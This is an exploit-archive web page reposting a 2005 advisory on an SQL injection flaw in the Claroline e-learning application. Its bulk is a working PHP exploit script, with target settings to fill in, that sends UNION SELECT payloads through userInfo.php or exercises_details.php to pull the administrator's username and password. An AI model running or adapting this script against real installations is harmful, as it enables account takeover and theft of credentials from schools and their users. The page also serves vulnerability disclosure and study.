首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Claroline E-Learning Application Remote SQL Injection
来源:Crouz Security Team 作者:mh_p0rtal 发布时间:2005-06-22  

Claroline E-Learning Application Remote SQL Injection

Summary
Claroline is "an Open Source software based on PHP /MySQL. It's a collaborative learning environment allowing teachers or education institutions to create and administer courses through the web". An SQL Injection vulnerability has been discovered discovered in Claroline E-Learning, the following exploit code will return the username and password of the administrator user of the product.

Credit:
The information has been provided by mh_p0rtal.

Details
Exploit:
<?php
#######################################
# T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m
#######################################
# Vulnerable: Claroline E-Learning Application
#
# Exploit By : MH_p0rtal
#
# Discovered By: Sieg Fried
#
#######################################
# Gr33tz To ==> Alpha_programmer , Oil_karchack , Dr_CephaleX , Str0ke
#
# And Iranian Hacking & Security Teams :
# IHS TeaM , alphaST , Shabgard Security Team , Emperor Hacking Team ,
# Crouz Security Team & Simorgh-ev Security Team
#######################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# Please replace your name file ( userInfo.php Or exercises_details.php )
$file1 = "userInfo.php";
# please replace your dir address :
$dirs = "/dir/to/claroline/user/";
# __________End Config
#######################################
if ( $file1 == "userInfo.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
$mh = "GET $merg?uInfo=-1%20UNION%20SELECT%20username,". "password,0,0,0,0,0%20from%20user%20where%20user_id=1/* HTTP/1.1\r\n";
$mh .= "Host: $url\r\n";
$mh .= "Connection: Close\r\n\r\n";

fwrite($fc, $mh);
while (!feof($fc)) {
echo fgets($fc, 1024);
}
fclose($fc);
}
}
//-------------------------------------------------------------------------------------------
if ( $file1 == "exercises_details.php" ) {
$merg = $dirs.$file1;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
$mh = "GET $merg?exo_id=-1/**/UNION/**/SELECT%200,password,". "username,0,0,0%20from%20user%20where%20user_id=1-- HTTP/1.1\r\n";
$mh .= "Host: $url\r\n";
$mh .= "Connection: Close\r\n\r\n";

fwrite($fc, $mh);
while (!feof($fc)) {
echo fgets($fc, 1024);
}
fclose($fc);
}
}
?>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress <= 1.5.1.1 cat_id
·Ultimate PHP Board Password Ha
·Mambo user_rating Parameter Re
·eXtropia WebStore Remote Comma
·Forum Russian Board SQL Inject
·PeerCast <= 0.1211 HTTP Req
·Microsoft Windows Plug and Pla
·phpBB Multiple User Registerat
·VERITAS NetBackup bpjava-msvc
·Simple Machine Forum SQL Injec
·VERITAS NetBackup bpjava-msvc
·Microsoft Server Message Block
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved